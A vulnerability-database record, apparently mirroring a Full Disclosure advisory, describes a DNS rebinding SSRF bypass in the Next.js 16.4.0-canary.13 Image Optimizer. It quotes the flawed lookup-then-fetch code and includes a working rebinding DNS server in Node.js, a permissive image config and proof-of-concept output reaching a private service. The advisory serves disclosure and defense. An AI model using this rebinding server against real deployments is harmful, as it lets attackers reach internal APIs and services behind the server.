Search
Find a vulnerability
Search criteria
1 vulnerability found for Next.js by unknown
GCVE-1988-2026-0015
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-07 06:42
VLAI
EPSS
VEX
Title
Next.js 16.4.0-canary.13 Image Optimizer DNS Rebinding TOCTOU SSRF Still Exists
Summary
Next.js 16.4.0-canary.13 contains a DNS rebinding TOCTOU Server-Side
Request Forgery vulnerability in the Image Optimizer's fetchExternalImage()
functionality.
Next.js attempts to prevent requests to private network resources by
resolving the supplied hostname and checking the resulting addresses using
isPrivateIp():
const records = await lookup(hostname, {
family: 0,
all: true,
hints: ALL,
})
const privateIps = records.map((record) => record.address)
if (privateIps.some((ip) => isPrivateIp(ip))) {
throw new ImageError(400, '"url" parameter is not allowed')
}
After the DNS validation succeeds, the application performs the external
request using the original URL:
const res = await fetch(href, {
signal: AbortSignal.timeout(7_000),
redirect: 'manual',
})
The IP address validated by lookup() is not pinned to the subsequent HTTP
connection. As a result, fetch() can perform another DNS resolution for the
same hostname.
An attacker-controlled DNS server can return a public IP address during the
first resolution, allowing the hostname to pass the private-IP validation,
and then return a private IP address during the subsequent resolution
performed for the HTTP connection.
This causes Next.js to validate one network destination but ultimately
connect to another, bypassing the Image Optimizer's private-network SSRF
protection.
Testing confirms that this vulnerability *still exists in Next.js
16.4.0-canary.13*.
Impact
A remote attacker can bypass the Next.js Image Optimizer's private-IP
protections and cause the application server to issue HTTP requests to
private network resources.
Depending on the deployment environment, this may allow access to internal
APIs, container-network services, RFC1918 addresses, localhost services,
administrative interfaces, or other HTTP services reachable from the
Next.js server.
The demonstrated proof confirms that the server establishes an HTTP
connection to a private address after validating a public DNS response.
Although the Image Optimizer subsequently rejects the returned content
because it is not a valid image, the internal HTTP request has already
occurred.
Proof of Concept
The vulnerability was reproduced using an isolated Docker environment
containing a controlled DNS server, Next.js 16.4.0-canary.13, and a private
HTTP service.
The controlled hostname rebind.test is permitted by the application's image
configuration:
module.exports = {
images: {
remotePatterns: [
{
protocol: 'http',
hostname: 'rebind.test',
pathname: '/**',
},
],
},
}
The controlled DNS server returns a public IP address for the first
A-record lookup and the private Docker-network address for the second
lookup:
const { Packet, UDPServer } = require('dns2')
let addressLookups = 0
const server = new UDPServer((request, send) => {
const response = Packet.createResponseFromRequest(request)
const question = request.questions[0]
if (question.type === Packet.TYPE.A) {
addressLookups++
const address =
addressLookups === 1 ? '93.184.216.34' : '172.30.0.4'
response.answers.push({
name: question.name,
type: Packet.TYPE.A,
class: Packet.CLASS.IN,
address,
ttl: 5,
})
console.log(`A lookup ${addressLookups}: ${address}`)
}
send(response)
})
server.bind(53, '0.0.0.0')
console.log('DNS server listening on UDP 53')
The first lookup returns:
93.184.216.34
The second lookup returns:
172.30.0.4
The private service listens on 172.30.0.4:8080 and records any HTTP request
it receives.
The PoC is executed using:
$ poc.sh
PoC Output
$ poc.sh
Next container command: ["npx","next","start"]
internal-1 | Private listener listening on 0.0.0.0:8080
internal-1 | GET /secret HTTP/1.1
next-1 | ▲ Next.js 16.4.0-canary.13
next-1 | - Local: http://localhost:3000
next-1 | - Network: http://172.30.0.3:3000
next-1 | ✓ Ready in 94ms
next-1 | ✓ Running next.config.js took 16ms
next-1 | ⨯ The requested resource isn't a valid image for
http://rebind.test:8080/secret received null
internal-1 | Host: rebind.test:8080
dns-1 | DNS server listening on UDP 53
dns-1 | A lookup 1: 93.184.216.34
dns-1 | A lookup 2: 172.30.0.4
PoC passed: public validation was followed by an HTTP request to a
private Docker-network address.
The output demonstrates that the first DNS resolution returned the public
IP address 93.184.216.34, which passed the Next.js private-IP validation.
The second DNS resolution returned the private Docker-network address
172.30.0.4.
The private listener then received:
GET /secret HTTP/1.1
Host: rebind.test:8080
This confirms that Next.js validated the hostname using the public DNS
response but subsequently established an HTTP connection to the private
network address.
The following Next.js error does not invalidate the SSRF:
The requested resource isn't a valid image for
http://rebind.test:8080/secret received null
The response is intentionally plain text rather than an image. The internal
HTTP request occurs before the Image Optimizer rejects the response, as
demonstrated by the private listener receiving GET /secret.
Therefore, the PoC confirms that the private-IP restriction can be bypassed
using DNS rebinding.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
10 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Next.js",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Next.js 16.4.0-canary.13 contains a DNS rebinding TOCTOU Server-Side\nRequest Forgery vulnerability in the Image Optimizer\u0027s fetchExternalImage()\nfunctionality.\n\nNext.js attempts to prevent requests to private network resources by\nresolving the supplied hostname and checking the resulting addresses using\nisPrivateIp():\n\nconst records = await lookup(hostname, {\n family: 0,\n all: true,\n hints: ALL,\n})\n\nconst privateIps = records.map((record) =\u003e record.address)\n\nif (privateIps.some((ip) =\u003e isPrivateIp(ip))) {\n throw new ImageError(400, \u0027\"url\" parameter is not allowed\u0027)\n}\n\nAfter the DNS validation succeeds, the application performs the external\nrequest using the original URL:\n\nconst res = await fetch(href, {\n signal: AbortSignal.timeout(7_000),\n redirect: \u0027manual\u0027,\n})\n\nThe IP address validated by lookup() is not pinned to the subsequent HTTP\nconnection. As a result, fetch() can perform another DNS resolution for the\nsame hostname.\n\nAn attacker-controlled DNS server can return a public IP address during the\nfirst resolution, allowing the hostname to pass the private-IP validation,\nand then return a private IP address during the subsequent resolution\nperformed for the HTTP connection.\n\nThis causes Next.js to validate one network destination but ultimately\nconnect to another, bypassing the Image Optimizer\u0027s private-network SSRF\nprotection.\n\nTesting confirms that this vulnerability *still exists in Next.js\n16.4.0-canary.13*.\nImpact\n\nA remote attacker can bypass the Next.js Image Optimizer\u0027s private-IP\nprotections and cause the application server to issue HTTP requests to\nprivate network resources.\n\nDepending on the deployment environment, this may allow access to internal\nAPIs, container-network services, RFC1918 addresses, localhost services,\nadministrative interfaces, or other HTTP services reachable from the\nNext.js server.\n\nThe demonstrated proof confirms that the server establishes an HTTP\nconnection to a private address after validating a public DNS response.\nAlthough the Image Optimizer subsequently rejects the returned content\nbecause it is not a valid image, the internal HTTP request has already\noccurred.\nProof of Concept\n\nThe vulnerability was reproduced using an isolated Docker environment\ncontaining a controlled DNS server, Next.js 16.4.0-canary.13, and a private\nHTTP service.\n\nThe controlled hostname rebind.test is permitted by the application\u0027s image\nconfiguration:\n\nmodule.exports = {\n images: {\n remotePatterns: [\n {\n protocol: \u0027http\u0027,\n hostname: \u0027rebind.test\u0027,\n pathname: \u0027/**\u0027,\n },\n ],\n },\n}\n\nThe controlled DNS server returns a public IP address for the first\nA-record lookup and the private Docker-network address for the second\nlookup:\n\nconst { Packet, UDPServer } = require(\u0027dns2\u0027)\n\nlet addressLookups = 0\n\nconst server = new UDPServer((request, send) =\u003e {\n const response = Packet.createResponseFromRequest(request)\n const question = request.questions[0]\n\n if (question.type === Packet.TYPE.A) {\n addressLookups++\n\n const address =\n addressLookups === 1 ? \u002793.184.216.34\u0027 : \u0027172.30.0.4\u0027\n\n response.answers.push({\n name: question.name,\n type: Packet.TYPE.A,\n class: Packet.CLASS.IN,\n address,\n ttl: 5,\n })\n\n console.log(`A lookup ${addressLookups}: ${address}`)\n }\n\n send(response)\n})\n\nserver.bind(53, \u00270.0.0.0\u0027)\nconsole.log(\u0027DNS server listening on UDP 53\u0027)\n\nThe first lookup returns:\n\n93.184.216.34\n\nThe second lookup returns:\n\n172.30.0.4\n\nThe private service listens on 172.30.0.4:8080 and records any HTTP request\nit receives.\n\nThe PoC is executed using:\n\n$ poc.sh\n\nPoC Output\n\n$ poc.sh\nNext container command: [\"npx\",\"next\",\"start\"]\ninternal-1 | Private listener listening on 0.0.0.0:8080\ninternal-1 | GET /secret HTTP/1.1\nnext-1 | \u25b2 Next.js 16.4.0-canary.13\nnext-1 | - Local: http://localhost:3000\nnext-1 | - Network: http://172.30.0.3:3000\nnext-1 | \u2713 Ready in 94ms\nnext-1 | \u2713 Running next.config.js took 16ms\nnext-1 | \u2a2f The requested resource isn\u0027t a valid image for\nhttp://rebind.test:8080/secret received null\ninternal-1 | Host: rebind.test:8080\ndns-1 | DNS server listening on UDP 53\ndns-1 | A lookup 1: 93.184.216.34\ndns-1 | A lookup 2: 172.30.0.4\nPoC passed: public validation was followed by an HTTP request to a\nprivate Docker-network address.\n\nThe output demonstrates that the first DNS resolution returned the public\nIP address 93.184.216.34, which passed the Next.js private-IP validation.\n\nThe second DNS resolution returned the private Docker-network address\n172.30.0.4.\n\nThe private listener then received:\n\nGET /secret HTTP/1.1\nHost: rebind.test:8080\n\nThis confirms that Next.js validated the hostname using the public DNS\nresponse but subsequently established an HTTP connection to the private\nnetwork address.\n\nThe following Next.js error does not invalidate the SSRF:\n\nThe requested resource isn\u0027t a valid image for\nhttp://rebind.test:8080/secret received null\n\nThe response is intentionally plain text rather than an image. The internal\nHTTP request occurs before the Image Optimizer rejects the response, as\ndemonstrated by the private listener receiving GET /secret.\n\nTherefore, the PoC confirms that the private-IP restriction can be bypassed\nusing DNS rebinding.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T06:42:13Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/29"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/29"
},
{
"url": "http://172.30.0.3:3000"
},
{
"url": "http://localhost:3000"
},
{
"url": "http://rebind.test:8080/secret"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/29"
],
"discovery": "EXTERNAL"
},
"title": "Next.js 16.4.0-canary.13 Image Optimizer DNS Rebinding TOCTOU SSRF Still Exists",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0015",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/29",
"automated": true,
"contentSha256": "b531735185ae5849ae015495e10064ea38f69fe0d1ba3fa4903b06aaffa0dbdb",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/29",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-01T23:48:36Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-07T06:42:13Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0015"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}